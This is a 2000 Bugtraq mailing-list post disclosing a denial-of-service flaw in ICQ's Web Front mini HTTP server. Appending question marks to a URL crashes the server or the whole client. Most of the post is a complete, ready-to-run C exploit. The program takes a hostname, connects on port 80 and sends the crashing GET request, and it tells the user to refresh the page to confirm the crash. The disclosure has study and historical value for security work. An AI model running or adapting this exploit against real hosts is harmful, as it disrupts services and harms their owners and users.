[17100] in bugtraq
ICQ WebFront HTTPd DoS
daemon@ATHENA.MIT.EDU (skrilla in money order only)
Sun Oct 8 16:34:18 2000
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Message-ID: <Pine.LNX.4.21.0010070838210.25647-100000@beef.tpgn.net>
Date: Sat, 7 Oct 2000 08:51:55 -0400
Reply-To: skrilla in money order only <chear@BEEF.TPGN.NET>
From: skrilla in money order only <chear@BEEF.TPGN.NET>
X-To: submissions@packetstorm.securify.com
To: BUGTRAQ@SECURITYFOCUS.COM
ICQ Web Front DoS
-
Exploit and Discovery By: Charles Chear [chear@beef.tpgn.net]
Description:
More current ICQ clients now offer a mini httpd for members' desktops
called the Web Front. It seems that appending a "?" character
(and possible other characters) to the url will cause the httpd to
crash, if not the whole client all together. Tested on Windows 95/98.
Greets:
Colloron, Joshd, Presto, tpgn.net, and all the other gangsters.
-- bite here --
/* ICQ Web Front DoS */
#include <sys/socket.h>
#include <stdio.h>
#include <netinet/in.h>
#include <netdb.h>
void main(int argc, char *argv[])
{
int sock;
struct in_addr addr;
struct sockaddr_in sin;
struct hostent *he;
unsigned long start;
unsigned long end;
unsigned long counter;
/* added extra ? to be on the safe side :) */
char xploitstr1[50]="GET /?????????? HTTP/1.0 \n\n";
printf("ICQ Web Front DoS - author: char0hlz/tPG\n");
printf("The Poor Gurus' Network [http://www.tpgn.net]\n");
if (argc<2)
{
printf("usage: %s <hostname>\n", argv[0]);
exit(0);
}
if ((he=gethostbyname(argv[1])) == NULL)
{
herror("gethostbyname");
exit(0);
}
start=inet_addr(argv[1]);
counter=ntohl(start);
sock=socket(AF_INET,SOCK_STREAM,0);
bcopy(he->h_addr,(char *)&sin.sin_addr, he->h_length);
sin.sin_family=AF_INET;
sin.sin_port=htons(80);
if (connect(sock,(struct sockaddr*)&sin,sizeof(sin))!=0)
{
perror("pr0blemz");
}
send(sock,xploitstr1,strlen(xploitstr1),0);
close(sock);
printf("Done. Refresh the page to see if it worked.\n");
}
